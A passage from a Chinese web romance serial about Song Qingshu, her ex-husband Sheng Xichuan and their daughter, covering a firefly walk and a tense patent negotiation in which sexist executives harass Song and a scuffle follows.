宋妍妍气急败坏,过来猛地搡了她一把,“别说你现在还不是盛家少夫人,就算是,我们宋家也一点不粘你的。”
宋清殊被搡得往后趔趄了半步,接着,被人在身后一扶。
熟悉的气息让她安心不少,她都不需要回头,就知道是盛熙川。
“这里边还有我的事呢?”盛熙川问。
他声音不大,听不出什么情绪。
但刚才还在叫嚣的宋妍妍突然闭了嘴巴。
她没想到自己撞到了枪口上。
宋妍妍一句话也不敢再说,低了头就要走。
但她旁边的男人不动,看着盛熙川眼冒精光。
“盛总,真是幸会。”
那男人刚才还立在一旁一副看好戏的样子,此刻突然走上前来,对着盛熙川点头哈腰,掏出自己的名片,双手奉上。
“我是付林,在澳城最大的赌场跟着今朝哥做事。”
那男人笑得脸上的肌肉都快僵了,一脸谄媚的看着盛熙川。
盛熙川“哦”了一声,看着他眼里的光要变成火苗。
“不认识。”
那男人讪笑,尴尬得不行。宋妍妍更是在一旁咬牙切齿,好像在嫌他上不了台面。
宋清殊低头憋笑,她的模样惹得盛熙川也想笑。
他温声问:“她欺负你?”
宋清殊摇头。
“没有,闲聊两句而已,我们走吧。”她说。
她懒得跟宋妍妍一般见识。
宋家俩女儿在饭店打起来,说出去还不够丢人的。
盛熙川也想到了这一层,点点头,警告地看一眼宋妍妍。
“宋大小姐,今天这事儿就这么算了。以后我不希望再看到你对宋清殊说长道短。”
宋妍妍臊眉搭眼不敢作声。
那男人更是,悻悻地看着盛熙川,恨不能找个地缝钻进去。
于是,宋清殊一个眼神都没再给宋妍妍。就这样和盛熙川走出了餐厅。
车已经被司机开走了,两人沿着马路步行回小区。
刚见过宋妍妍,宋清殊不免又胡思乱想起来。
她早就拿到了宋夫人的体检报告。
报告显示,宋夫人是B型血。
宋清殊隐隐约约记得,自己当年是看过宋妍妍的体检报告的。
那天替她送体检报告去医院,还撞上了坠马的帕丽,和盛熙川产生了误会。
她隐约记得,宋妍妍是O型血。
根据遗传学来看,如果宋妍妍是宋先生和宋夫人亲生,那宋先生的血型,只有O和B两种可能。
但宋清殊自己是A型血。
如果,按照宋妍妍和宋夫人的血型,反推回去的陆先生血型成立的话,那她就不是宋家的孩子。
但这件事成立的条件太复杂。
至少要:一,她的记忆没有产生曼德拉效应,对宋妍妍的血型记忆是完全准确的。二,宋夫人对宋先生是忠诚的,她和宋妍妍都不是宋夫人出轨的产物。
而且,奇怪的是,宋清殊很容易就查到了宋夫人的体检记录。
但宋先生和宋妍妍的,她让苏白找遍了医疗系统内的数据,也没有查到。
这件事便暂时搁置了。
可就是这样,怀疑的种子一旦埋下,便会像藤蔓一样疯狂生长。
夜深人静的时候,宋清殊越想越觉得这件事可疑。
她甚至满心希望,自己就不是宋家的亲女儿,最好也不是宋夫人生的。
这样,原生家庭对她的漠视就会变得合理。
而她也就可以真正放过自己。
不是她不好,只是她不是天生的罢了。
宋清殊一路都在失神。
盛熙川注意到了她情绪不高,更是在心里烦透了宋妍妍。
“还在因为看见宋妍妍不高兴?”他问。
这么多年了,还没习惯吗?
宋清殊摇摇头:“也不算,就是想起了一些事。”
至于什么事,见她不想说,盛熙川便没问。
不过盛熙川倒有事要提醒她。
“今天宋妍妍带的那个男人,还是要当心些。”他说。
第319章 萤火虫仙子
盛熙川说,他虽然不认识那男人,但认识他嘴里的“今朝哥”,瞿今朝。
瞿今朝是澳城最大娱乐城的老板,那男人大概率是他手底下的“叠码仔”。
“叠码仔”这个称号,是指那些把内地老板骗去澳城赌博拿抽成的人。
“倒是没听说过宋妍妍赌博。不过,她做出什么事来我都觉得合理。”宋清殊说。
两人慢慢走,一路聊着。
盛熙川又说:“还有件事,你心里有数就好。宋家这几年一路走下坡,估计撑不了多久了。”
宋清殊点头:“早就猜到了。”
宋氏的年报数据一直做假,已经没什么参考性。
但有些东西甚至不用分析数据,只肉眼看都能看出个八九不离十。
就冲宋夫人生病不去国外找最好的医疗团队,而是选择留在国内继续保守治疗,以及,宋妍妍约会的男人档次越来越低,就能可见一斑。
拜高踩低是人性,宋家如果发展得够好,宋妍妍哪怕名声再差些,也不愁没有愿意贴上来的人。
眼下的这一切,无一不在说明,宋家已经走到了中后期。
她表情平静,既不意外也不伤感,以至于盛熙川准备好的话,都不知道该不该说了。
最终,他还是说了:“如果真有那么一天,我可以拉宋家一把。”
“不用。”
宋清殊干脆利落地拒绝。
“如果到了那一天,我可以让他们一家四口不流落街头,满足温饱。但更多的,就不会给了。”她说。
又补充:“你也不要给,我们不欠他们。”
盛熙川没料到她能狠下心,怔了一下,随即,一双眼睛诚挚地看着她:“到时候我听你的。”
宋清殊点头。
从出生被送给陆家起,包括15岁发生那件事,以及后来被送出国。
宋家已经在她身上得到了太多钱,但没有给过她多少爱。
宋清殊觉得,她还没有圣母到要给这样一个家庭兜底。
盛熙川眼看着她情绪往低处走,突然间有点后悔自己聊这个话题。
早知道到眼前再说好了,反正有他在,天又不会塌。
“你还没有从原生家庭的痛苦里走出来吗,小宝?”盛熙川问她。
要怎么做,她才会更开心一点。
宋清殊摇头:“我应该不算痛苦,毕竟,得到过,再失去才会觉得痛。
感觉对我来说,更应该算是一种遗憾吧。”
没被父母认真爱过,也不知道被爱应该是怎样,她觉得遗憾。
“这种遗憾会因为得到别的爱而弥补一些吗?比如被珍珠爱着。”盛熙川想问被自己爱着会不会好些,又觉得自己做的还不够。
这样的问题,他实在没脸问出口。
便春秋笔法,问珍珠。
“当然会。”提起珍珠,宋清殊脸上不自觉染了点笑意。
其实不止被珍珠爱着会好,两人短暂的半年婚姻,也治愈了她不少。
正因如此,她虽然不为离婚后悔,也没有为当年选择嫁给盛熙川后悔过。
见她缓和下来的脸色,盛熙川的心情也跟着明媚起来。
说话间,两人已经走到了小区里。
盛熙川不远不近地走在宋清殊身边,他极尽克制,让自己不去牵她的手。
两人稍稍保持距离。
不要太贪心,一上来就如狼似虎,只会吓跑她。
宋清殊最喜欢的,是小火乱炖,温水煮青蛙。
盛熙川盯着宋清殊纤细美丽的影子出神,却听宋清殊叫他:“盛熙川。”
“嗯?”
“那是不是萤火虫?”
沈韫浓指着绿化带里的一处光亮说。
盛熙川望过去,绿化带里的草修剪得整齐又漂亮,草尖上有忽明忽暗的微光。
的确是萤火虫。
盛熙川没说什么,也没问宋清殊要不要。
他凑到草丛旁边,静静地等待时机。
宋清殊没作声,她知道他想抓来给她。
在身后,她注意到盛熙川精瘦的腰,挺直漂亮的倒三角型背肌。
从后面看,他不像年过30岁的男人,倒像是个青春正好的少年——
她期待的,校园恋爱男主角的模样。
宋清殊盯着盛熙川的背影出神,她这辈子再无校园恋爱的机会,但好在珍珠有。
她饱览偶像剧的天才少女珍珠小朋友,应该会早恋吧,也不知道什么样的男孩子能入她的眼。到那时候,她和盛熙川已经老去,女大不中留,也管不了她许多……
多可怕,才说要再接触试试,她居然已经开始幻想跟他一起老去的模样。
宋清殊甚至觉得自己现在的坚持也没什么意义。
倒不如直截了当复婚算了。
随即她又想,不妥,自己没恋爱过,真的太遗憾了,既然有这个彼此再接触的机会,不能就这么算了。
人生还长,这点考验,不仅是给盛熙川的,也是给她自己的。
宋清殊胡思乱想间,盛熙川已经抓到了那只萤火虫。
他转过身,走到她面前,双手合在一起,献宝似的捧着朝她伸过来。
“你想在这里看,还是带回家?带回家的话,给保姆打电话,让她们带个瓶子下来。”
说这话时,盛熙川一双眼睛深情又温柔,宋清殊觉得,她似乎被当成了三岁半的珍珠来哄。
“就在这里看看吧。”她轻声说。
“好。”
盛熙川凑得更近,“那你看好了。”
说话间,他张开双手。
萤火虫像一颗会飞的星星,在他的手心冉冉升起。
那点微光替他的眉眼平添温柔。
他们的目光追着萤火一路往上,之后,交汇,有一瞬间的纠缠。
“宋清殊。”盛熙川嗓子带了点哑,连名带姓叫她。
“嗯?”
“你可以试试对着萤火虫许愿。如果觉得这个愿望人为就可以实现的话,也可以试着告诉我。”
宋清殊:“……暂时没有什么不切实际的愿望,所以不需要求助于萤火虫仙子,自己努力就好了。”
盛熙川被她“萤火虫仙子”的说法逗笑。
她一直有种不动声色的幽默,他早就知道。
当时只道是寻常,如今这一切再感受,盛熙川满心的喜悦和温柔都要溢出来。
天杀的,他曾经对这个本该捧在心尖上的女人做了什么啊。
晚上,小区里总有遛弯儿的人。
一个小小的身影原本走了过来,到跟前后,又“咻”地一下迅速跑开。
盛熙川五感惊人,马上发现了。
他喊了一声:“珍珠!”
第320章 两朵小红花
小小的身影不肯回头,依然往前冲,甚至伸出双手捂住了耳朵。
宋清殊和盛熙川都觉得无语,两人对视一眼后,盛熙川迈开长腿,一步追过去,把小家伙拎小鸡崽儿一样地拎了起来,转了个身。
珍珠捂眼:“看不见我!”
看小家伙的模样,两人失笑。
“躲爸爸妈妈干什么?”盛熙川问她。
“就是,居然还假装跟妈妈不认识!”宋清殊也控诉。
这才看见站在不远处的两个保姆。
雪姐笑:“今天吃饭晚,带她下来消消食。”
芝姐也笑:“珍珠说草丛边的两个人像你们,要悄悄过来看看,没想到还真是。”
宋清殊无语,伸手拍了盛熙川怀里的珍珠小屁股一下。
“发现是我们,你居然不打招呼,还要跑。”
珍珠耍赖:“救命,我不想当电灯泡!”
两人对她丰富的词汇量已经见怪不怪。
盛熙川抱着她往前走:“没事儿,我们不嫌弃你。”
于是,宋清殊让保姆先回去,改为了她和盛熙川带着珍珠散步。
盛熙川将珍珠放下。
站在中间,两人一左一右,牵着她的手,围着小区走了好大一圈。
中间也有交流,但听上去都是一些琐事。
珍珠不满嘟嘴:“我就说我不能做电灯泡吧。我在这里,爸爸妈妈都不说情话了。”
盛熙川:“……”
宋清殊:“……有没有可能,我们原本也是聊这些?”
珍珠:“那有什么意思!”
她一句话,直接把两人都干没电了。
见两人都不说话,珍珠小朋友只好自己没话找话。
“不过你们迈开这一步,我已经很开心了。被爸爸妈妈牵着散步,简直是天底下最幸福的事之一。”
“其余最幸福的事是什么?”宋清殊问。
珍珠郑重其事:“跟爸爸妈妈一起吃饭,一起睡觉。”
盛熙川:“宝宝,你已经经过了跟爸爸妈妈睡一起的年龄。”
珍珠大呼小叫:“爸爸,你现在还没有获得跟妈妈一起睡的资格,就开始排挤竞争对手了!”
盛熙川还没说话,宋清殊简直要呕出一口老血来。
这是什么逆天发言?
要不是知道珍珠在公众场合只会微笑,不爱说话,她真怕哪天被她怼到社死。
三个人散步别有趣味,一直到晚上10点多才回家。
到了他们的楼层,盛熙川依依不舍。
珍珠屈起手臂,做了个“加油”的动作。
“爸爸,跟我们一起睡指日可待,你加油!”
宋清殊不想说话,直接开门进了屋。
她耳朵发烫。
两个保姆早就回来了,替她们铺好了床,放好了洗澡水。
雪姐带珍珠去洗澡。
芝姐对宋清殊笑得有点八卦。
“珍珠爸爸真的是个很好的人呢。长得好又有钱,还特别疼你和珍珠。”她都实在忍不住替盛熙川说两句好话。
宋清殊笑了一下:“他在追求我。谁追一个人的时候,不是把最好的一面展现出来呢。”
芝姐愣了一下,也许是没想到两人发展竟然这样缓慢。
随即笑道:“也行,他好歹比别的追求者知根知底,而且,还得到了女儿的认可,成功机率更大。”
宋清殊:“他当然会成功。”
如果不会成功,宋清殊压根不会给他希望。
芝姐:“所以,你肯定会答应他,只是想给他个考验吗?”
宋清殊:“我这个人做生意都很怕乙方白跑,不想辜负别人的付出,更何况在感情中呢。”
她理智归理智,但心软。
这是她很难克服的弱点。
说完彼此都沉默了一瞬,芝姐先笑了:“听说盛家的老宅子比很多工厂都大,里面还有天然湖,是真的吗?”
“是真的。”
“那等你们复合了,我们也去见识见识。”
她竟然已经开始期待了。
宋清殊又跟芝姐聊了几句,就去洗澡睡觉了。
临睡前,她想起一件重要的,又起身。
宋清殊拿出那张卡和贴纸来,慷慨地贴了两朵小红花上去,拍照,发给盛熙川。
那边似乎在等她的微信,回的飞快。
【怎么是两朵?硕东那么值钱呢?】
宋清殊逗他:【嫌多的话,我再去掉一朵。】
那边秒发了一个珍珠【不要啊】的表情包过来。
宋清殊也回了个珍珠的【傲娇】。
【一朵是因为你帮我查硕东,另一朵是因为萤火虫】
她知道自己足够自立自强,所以无需标榜自立自强,不肯靠男人的人设。
有助力总比没助力强,盛熙川愿意帮她,她心里高兴。
至于萤火虫,当然不单单是因为他帮自己抓萤火虫,而是这背后的氛围让她心动。
她觉得盛熙川能懂。
那边果然识相,马上回了个【谢谢老板】的表情包过来。
【我现在飘了,感觉得到10朵小红花是一件特别容易的事儿。】盛熙川说。
宋清殊:【满招损谦受益,请戒骄戒躁。】
盛熙川马上发了一个珍珠【收到】的表情包过来。
两人在微信上扯了几句。
彼此都带了点笑意。
【困了,睡觉吧。】宋清殊先说。
盛熙川恋恋不舍,却也没有纠缠。
两人又用珍珠的表情包互道了晚安。
宋清殊学生时代没有恋爱过,但她觉得,如果是两个二十岁左右的学生谈恋爱大概就是这样子。
没什么钱,却有大量的情绪价值,会给对方捉萤火虫,会用微信早安午安晚安。
那她和盛熙川还是更好一点,毕竟他们有很多钱,还有珍珠这样一个活宝来稳定感情基础。
她觉得自己上头了。
盛熙川那边比宋清殊更是有过之而无不及。
他突然喜欢上了这种近似纯爱的感觉。
尽管身心对她都有渴望,可做这些有趣的小事时,却并不只是为了快点得到她。
他乐在其中。
初恋的感觉在离婚四年后袭来,两个人都有点猝不及防。
盛熙川为得到了两朵小红花而欣喜,同时,也在期待如何获得更多。
第321章 硕东
这一晚,盛熙川没有失眠。
相反,他头一次睡得这样又香又踏实。
他觉得自己似乎得到了明示,已经不必再患得患失。
宋清殊在用实际行动告诉他,她没有那么难追,而且,她也很珍惜跟他共处的机会,并不找借口推诿。
万事开头难,如今开好了头,盛熙川发现这条复合之路并没有那么难走。
他对另外八朵小红花志在必得。
……
盛熙川提供的那份关于硕东的资质很快用上。
宋清殊没过几天便拿去跟硕东的高层谈判了。
事关重大,宋清殊不想牵扯太多人,也怕对方觉得她想借机要挟。
她连助理都没带,单枪匹马进了硕东的总裁办公室。
这是她第一次见硕东的总裁苏硕,很年轻,不见得比她大。
对方一见她,挑挑眉,眼神里闪过一丝戏谑。
“哟,这不是商界的后起之秀,商业奇才宋清殊小姐嘛?没想到居然会亲自过来。”苏硕说。
这话当然是讽刺。
她接管陆氏这半年多以来,的确把陆氏的营业额提升了不少,人们见她,表面上恭恭敬敬,背地里却说什么的都有。
说的最多的,就是美女做生意有优势,靠脸能解决大半问题。
解决不了的,还有盛熙川兜底。
让这帮男人承认她有能力,比杀了他们都难。
苏硕这番话听得宋清殊在心里直皱眉,但她面上依然客气:“苏总过奖,想必您也是白手起家,独当一面的人才。”
苏硕今年刚从他父亲那儿接班,“白手起家”“独当一面”,这八个字跟他不挨着。
他也听出了话里的刺,开始认真打量起宋清殊来。
但宋清殊始终一副笑眯眯的模样,看不出半分挑衅之意。
苏硕被不软不硬的噎了一下,甚至宁愿怀疑是宋清殊情商太低,也没怀疑她有意怼他。
他甚至不觉得宋清殊有一个能那么快反应的脑子。
宋清殊怼完苏硕,这件事也就过去了,她不做纠缠,而是直奔主题。
“苏总,原本说好的专利价格五千万,贵司也同意了,结果在签合同的档口坐地起价,不太合适吧?”
苏硕饶有兴趣地看她:“宋总过来找我谈判,既不带保镖也不带助理,就不怕我见色起意吗?”
宋清殊不动声色:“我相信苏总的人品。”
接着又把话题往专利上带,“请问苏总,这个专利还有诚意卖吗?”
苏硕:“宋总多大,过不去二十五六岁吧?”
他想往更小了猜,但新闻里都说她跟盛熙川有个三四岁的女儿,她应该没有那么小。
宋清殊说城门楼子,苏硕说胯骨轴子。
东拉西扯,就是不往正事儿上谈。
宋清殊知道,苏硕这是瞧不上她,觉得她没什么本事。
但她不慌,即便各说各的,也要把该说的说完。
宋清殊:“您现在坐地起价,是因为换了对接人吗?”
苏硕:“你现在是单身吗?”
宋清殊:“所以您想把专利卖给陆氏,不是为了公司发展,而是为了您跟二叔的私交吗?”
苏硕:“你跟盛熙川真的假的?”
宋清殊:“陆长鸣已经进去了,这个合作还谈吗?”
她神色镇静,语气也不咄咄逼人,但态度并不含糊,很坚决。
至于苏硕先败下阵来。
他叹口气,一脸委屈:“我发现宋总还真是不解风情呢。”
宋清殊牵了牵唇角,没接茬。
苏硕又道:“不是说了,要2亿。是底下的人没跟宋总传达清楚么?”
宋清殊:“可您之前给二叔报的五千万。”
苏硕:“之前是之前,到底合同还没签,我们硕东是甲方,最终解释权我们所有。如果陆氏觉得不合适,完全可以不买。”
他已经将“出尔反尔”这几个字刻在了脸上,极其厚颜无耻。
宋清殊在心里冷笑一声,顺势把手上的文件袋拍在了办公桌上。
老话说先礼后兵,她已经够客气了。既然苏硕不当人,她当然也没必要惯着。
“这是什么?”苏硕一边问,一边打开文件袋子,随即变了脸色。
宋清殊云淡风轻:“这些东西要是放出去,硕东至少三年白干,也不知会损失多少个五千万。”
苏硕:“你威胁我?”
宋清殊:“原本不想的。”
这件事本来可以客客气气的解决,更何况,那个专利硕东不是不想卖,不过是看陆氏实在需要,坐地起价罢了。
闹得这么难看,是苏硕自己刁难在先,瞧不上她这个新负责人。
他言语里已经多有冒犯,好像宋清殊走到今天,全靠一张脸似的。
苏硕不敢造次,问:“你想要什么?”
这个东西一拿出来,即便宋清殊一分钱不掏,愣要硕东的专利,他们开个会一商量,说不定都要给。
苏硕原本还靠在椅背上,目中无人,坐姿懒散,此时,已经不自觉绷直了脊背,神情满是警惕。
宋清殊想笑。
她也真的面带微笑:“不是说了要专利?苏总放心,我不会因为手里有硕东的把柄就狮子大开口,不按规矩办事。之前怎么谈的,硕东怎么把专利卖给我就行。
五千万,多了我一分都不会给。但这个专利苏总拖着不给我的话,我们明天只能报上见了。”
苏硕坐立难安。
一方面,他的确轻视宋清殊。
骨子里的傲慢让他觉得宋清殊这半年的风生水起,不过是因为长得不错,又有运气加持。
他跟所有看不起女人的恶臭男人一样,就差说那句恶臭名言“女人来钱就是快”了。
见宋清殊又是单枪匹马过来,以为她想靠美色解决问题,准备捉弄她一番。
实在没想到宋清殊是个这么难缠的。
苏硕愣了愣,此时已经有点儿处于下风的意思。
他抬腕看表。
“我看时间也快中午了,宋总,不如我请您吃个饭,这件事我们从长计议。”他陪笑脸,称呼也自动从“你”变成“您”。
此时才上午10点多,见鬼的中午。
宋清殊知道他是拖延时间,淡定点头:“苏总想吃什么?我请。”
苏硕继续陪笑:“这哪能让您破费呢,我来安排就行。”
第322章 男凝
跟喜欢的人吃饭是享受,跟讨厌的人吃饭是折磨。
此时宋清殊就在忍受这种折磨。
苏硕叫了几个人,号称是他们公司的高层,跟宋清殊一一介绍。
那几个人看宋清殊的眼神和苏硕如出一辙。
那不是看合作方的眼神。而是男人看女人,上位者看低位者。
漂亮女人对男凝天生敏感,宋清殊这种很小就生活在男凝视线下的人,更加相信自己没有多心。
她知道,这些人跟苏硕一样,不把她放在眼里。觉得她不过是个靠美貌和运气往上爬的花瓶罢了。
哪怕她手里的东西对硕东来说是致命的,这些男人依然不服气,偏要在妥协前上演一把顶天立地。
宋清殊陪他们演,如果为难她会让他们觉得心里好受,她不介意用用苦肉计。
吃饭的地方选在生态园酒店,没有包间,卡座在无数热带和亚热带植物中间,比普通餐厅的卡座私密,又没有那么私密。
宋清殊和五个年龄跨度极大的男人坐在一起,谨慎地观察四周。
还好,在这种地方,她不至于被下药。
这些人外强中干,不过是纸老虎,吓吓她做做样子,不怕的。
果然,这些人一点都没让宋清殊失望,表现的完全符合宋清殊对他们的预期。
都有种“我倒要会会这个女人”的感觉,没有任何尊重,只有不甘心在商业中被女人压一头的傲慢。
其中一个年龄大些的先开口:“早知道是跟宋总合作,我早就同意了,我这辈子什么都能拒绝,就是不能拒绝美女。”
宋清殊不卑不亢:“贵公司的专利目前国内也只有陆氏用得上,陆氏结账又痛快,我公司换个人来谈,相信结果也是一样的。
只不过,我是陆氏的执行总裁,董事会决定由我来谈,也是对贵司的重视。”
那男人挑了挑眉,明显觉得她在故意装矜持,又说:“要么这几年陆氏发展对好呢,有这么漂亮的执行总裁,不想好都难。”
宋清殊:“多谢抬举,但陆氏能把我推上来,倒不是我长得漂亮,而是我事情办的漂亮。”
她静静地凝视那男人的眼睛:“张总如果不放心我的能力,我可以换个人过来跟张总对接。”
后来又装作恍然大悟道:“瞧瞧我,还真是乙方做久了,竟然忘了,这次我们陆氏是甲方。”
言下之意,我给钱买你专利,你还不客气点?
她言语爽利,字字珠玑,让在座的男人都突然不敢小瞧,稍稍提高了警惕。
但很多恶臭男人觉得自己是世界的主宰,特别是在坐的几个,都憋着劲儿要宋清殊“原形毕露”,拿出她媚人的那一套来。
之后,他们就会获得某种隐秘的胜利,在心里有所平衡——
看,我就说这女人没什么真东西,就是靠脸和媚男人上位吧。
这世界还得是我们男人的,处于高位的女人,都靠的不是什么正当手段。
宋清殊了解这些恶臭男人的心理,偏偏不给他们机会。
“这个专利你们会卖给我的,对吧?”宋清殊又问。
那男人被她说的,有点抹不开面儿,讪笑道:“那是自然。”
旁边一个络腮胡的男人,看这个男人败下阵来,有点要助攻的意思。
“别管什么甲方,乙方了,今天能合作,以后就是朋友。来,宋总,咱们喝一杯,以后我有合适的项目也会给陆氏介绍。”
瞧瞧这话,还是拿自己当高位。
明明是陆氏要买硕东的东西,宋清殊手里还拿着能威胁到硕东的证据,可这帮恶臭男就想压她一头。
宋清殊神色不动,在那男人给她倒酒时,捂住杯口:“抱歉,来之前刚吃了头孢,喝的话,我也只能以茶带酒。”
络腮胡男人放下杯子,就有点不高兴。
“宋总,你这是不给我们面子。”
宋清殊:“我手里的证据那样致命,即便让贵司把专利免费送我,想必各位都得同意。
可我依然愿意按照约定好的金额给钱,我觉得这已经是极大的尊重了。”
她斯文又安静,整个人的气质那样柔和,偏偏说这话时,眼神里带了几份犀利,不多,却依然足够激怒那几个恶臭男。
对恶臭男来说,有什么比看到女人比他们更优秀更让人破防呢?
“宋总,硕东这几年已经换过血了,你查到那些东西对我们构不成大威胁。”一个寸头男板起脸来。
宋清殊:“哦。那你们专利还卖不卖?卖的话,现在签合同转款。
不卖,我就把这份‘构不成大威胁’的资质发到网上去。”
她的耐心已经到了极点,倒要看看这帮人还想不想好好谈。
“你威胁我们!”这话是苏硕说的。
宋清殊不否认:“我甚至可以不提这茬,直接给钱买专利,皆大欢喜。是各位目中无人又傲慢无礼,才让我这个文人动武。”
“专利给你可以。”那个年纪大些的又开口,“宋总每人敬我们一杯,咱们这茬就过去了。”
他认不清形势,连给自己找台阶都高高在上。
宋清殊起身:“抱歉,为了我自己的生命健康考虑,我不能喝。既然这事儿谈不成,那就算了。”
她拿了包和文件,就要往外走。
“站住!”身后怒喝一声,“你人走行,东西留下!”
宋清殊:“什么东西?是贵公司那些罪证吗?”
她接了一下手里的文件:“这是复印件,想要多少都有。”
这帮蠢货该不会觉得这叠纸到了他们手里,这件事就过去了吧?
而且,宋清殊往四周看,发现了好几处被阔叶植物遮盖的摄像头。
这帮恶臭男让她跟他们挨个敬酒,很可能是想断章取义,说她为了达到目的不择手段,最喜欢靠自己的女性魅力解决问题。
想得美,她不可能让他们如意。
“宋总!大家都在上京做生意,低头不见抬头见,你这样就说不过去了。”寸头男呵斥。
接着,五个男人围住了宋清殊。
第323章 翻脸
宋清殊被五个男人围住,说完全不怕是假的。
可大庭广众之下,她知道他们不敢怎么样。
她收紧垂在一侧的手,神态却依然淡淡的:“那份专利我不要了,不仅是我,国内任何同行都不会再要,贵司自己留着吧。”
她怎么都想不明白,虽说做乙方不至于唯唯诺诺,卑躬屈膝。可这帮人的态度到底是怎么回事?
这跟那些卖车的男销售看不起女顾客有什么区别?
别说她并不是靠色相上位的,陆氏的董事长是她干妈这个女人,就算她真的靠色相,既然已经坐到了这个位置上,这帮男人有什么资格看不起她?
宋清殊觉得好笑。
那帮男人原本只是气不过,觉得宋清殊一个女人凭什么敢威胁他们,不想让她轻易把这件事办成。
赌的也不过是这个专利国内只有硕东有。
但宋清殊说的也是实话,如果陆氏不要,这个专利想卖出去就难了。
说白了,是他们自己拎不清,想面子里子都要,才把简单的一个谈判弄得双方都下不来台。
“宋总,别生气嘛。这件事我们可以再谈谈。”其中一个一直没说话的人,站出来打圆场。
宋清殊:“三千万。卖就卖,不卖,这个专利我花高价去国外买。”
那帮人面面相觑。
他们是坏,可利益面前蠢得却不彻底。
一时间,都互相埋怨对方做的过火。
“宋总别这样,都是上下游的公司,头不见抬头见的,以后难免用得到彼此。”那人陪笑脸。
“刚才我们说话办事有不到位的地方,希望您不要往心里去。”
宋清殊:“已经往心里去了。”
她脚步不停,继续往前。
可那些人急了。
特别是苏硕。
“硕东”二字,取的是他和同父异母弟弟的名字各一字,那个弟弟比他更受父亲待见。
这几年,苏父一直犹豫不决让谁接班,如果这么点事都搞砸,他在苏家的地位必然会受到影响。
“宋总,如果是因为刚才哪句话说的不对,我跟你道歉行不行?”他一个箭步走过来,立在了宋清殊身前。
那么窄的被苏硕一挡,宋清殊想过去都难。
她不好推他,只能冷冷道:“苏总,让开。”
苏硕不让,但脸上再也没有半点儿之前的傲慢或者不屑表情。
他双手合十,也不敢再装傻,恭恭敬敬道:“宋总,是我有眼不识泰山,冲撞了您。”
宋清殊看苏硕前倨后恭的模样,越发觉得可笑。
早知如此,何必当初呢?
餐厅里,已经有不少人注意到了这边的动静,驻足观望。
宋清殊语气很冷:“现在知道错了?不是一个小时前苏总瞧不上我,对着我说那些恶臭言论的时候了?”
苏硕脸上青一阵白一阵,却也不得不低声下气:“是我不对,您这样,宋总,四千五百万,您看行不行?”
宋清殊:“不是钱的事儿,而是我现在不想谈了。苏总,让开。”
见苏硕不动,宋清殊想在他旁边侧身挤过去。
苏硕心里着急,拉了一把她的手臂。
“宋总,再给个机会!”
那四个男人也“唰”地一下,围在了宋清殊身前。
“你们想干什么?”宋清殊的神经刹那间紧绷起来,抬高了声音。
“不干什么,咱们好好谈谈。”其中一个说。
“对啊,宋总,刚才多有得罪,你怎么也得给我道歉的机会吧。”
也许是看出了宋清殊的紧张,又一个人也过来扯她。
几个拎不清的恶臭男人,在经历过把事情搞砸的短暂慌乱后,这一瞬间,竟然又开始燃起了莫名的希望。
他们笃定宋清殊也不敢在大庭广众之下跟他们拉拉扯扯,没准迫于压力,也就同意合作了。
明明那么简单的一件事,被几个恶臭男人搞到这样复杂,他们又蠢又坏。
宋清殊拿出手机。
声音更冷:“放开,再不放开,我现在就报警!”
苏硕也不知是不是脑抽了,竟然要过来夺宋清殊手里的手机。
“你们干什么?!”
突然,一个声音响起。
接着,几个人冲到了这边来。
宋清殊循声望去,居然是温世誉,他身后跟过来的,是孟令贤林远洲夫妇。
温世誉已经先一步走过来,伸手一扯,把苏硕扯到了一边。
他力气很大,苏硕被扯的一个踉跄,腰撞在旁边的桌子上,发出“砰”的一声巨响。
接着,温世誉挡在了宋清殊身前。
“要不要脸,几个男人欺负一个女人!”温世誉厉声喝斥。
他不是上京人,又一脸的少年气,那几个人不认识他。
“你谁啊,一个毛头小子敢多管闲事!”
“就是,我们在跟宋总谈合作,你算老几,过来指手划脚!”
“合作?”温世誉冷笑,“知道的,是你们求着陆氏买你们的破专利,不知道的,还以为你们穷疯了,在这强买强卖呢。”
“你个毛头小子懂个屁!”苏硕那一下撞得不轻,此时更是恼羞成怒,抄起一旁的椅子就要往温世誉身上砸。
温世誉一身的腱子肉,又年轻力壮,怎么会怕他?
他夺过椅子对着苏硕猛砸,苏硕倒在地上发出哀嚎。
“给我打死他!”他恼羞成怒,对随行的另外四人喊到喊到。
“我看你们谁敢!”突然,他身后的林远洲冷冷道,“硕东不怕得罪陆氏,也不怕同时得罪盛世和昌鑫,对吗?”
昌鑫是陆氏的甲方,跟硕东也算是一条产业链上的,他们自然知道。
苏硕年纪小,不认识林远洲,但那几个人里有认识的。
“林总,这只是误会……”那个之前一直劝宋清殊喝酒的年纪大些的男人说。
“误会吗?我看你们就是故意的。”孟令贤也走上前来,冷笑道,“我看你们就是在欺负宋总是个女人吧?”
“不敢不敢。”那几个人冷汗都要流下来,恨不得原地消失。
苏硕在地上倒着,也被吓傻了。
他张了张嘴,一时间不知道该说什么。
只能先爬起来。
那几个人是他的手下,自然也要等着他拿主意,一个个眼巴巴看着他。
第324章 救场
苏硕尴尬地看看温世誉,又看看林远洲孟令贤夫妇,接着才把目光落回到宋清殊脸上。
他简直想给自己一巴掌。
这么简单的合作,他直接同意了就完事了,搞这么一出做什么!
可惜这个世界上没有时光机,人也都要为自己的错误买单。
“这样吧宋总,您说的三千万我也做不了主,我回去跟我父亲商量一下。”他忍着疼讪笑着。
苏硕残存的理智已经知道眼前的局面不是自己能收拾得了的,他即便回去挨骂,在老苏总那里遭遇信任危机,也要回去先跟老苏总说清楚,交给老苏总解决。
他跟那几个人使眼色,就要撤退。
“站住,你以为自己刚欺负了人,是想走就能走的?”林远洲道。
孟令贤举起手机:“刚才我已经报警了,警方应该马上就到。”
此时的五个人,一个个脸色比吃了屎还难看。
“您看这也不是什么大事儿,如果宋总觉得心里不舒服了,我们向您道歉。”其中一个说。
另一个说:“就是,宋总,您大人不计小人过,别跟我们一般见识。”
宋清殊扫了几个人一眼。
“哟,现在知道改口装孙子了?我明明记得你们刚才挺傲慢呀。”
她冷笑,“张口闭口就是瞧不起女人,觉得我一个女人做到这个高度,指不定怎么爬上来的。话里话外,还想对我搞潜规则那一套,我没冤枉你们吧?”
那个领头起高调的老男人此时已经面如土色,他往后缩了缩。
这种人惯会欺软怕硬,他越这样,宋清殊越瞧不上他。
“我们不是这个意思……就是看宋总很亲切,想交个朋友。”那个寸头男人嗫喏。
一帮趾高气昂的恶臭男,在真正的武力和权势面前,表现的比他们瞧不上的女人差远了。
宋清殊:“是吗?或许是我这个人感知力差吧。我没有听出你说的那个意思,就听出了你们言语间的不尊重和霸凌。”
“宋总,您看……我做主把专利三千万给您呢?”苏硕又说。
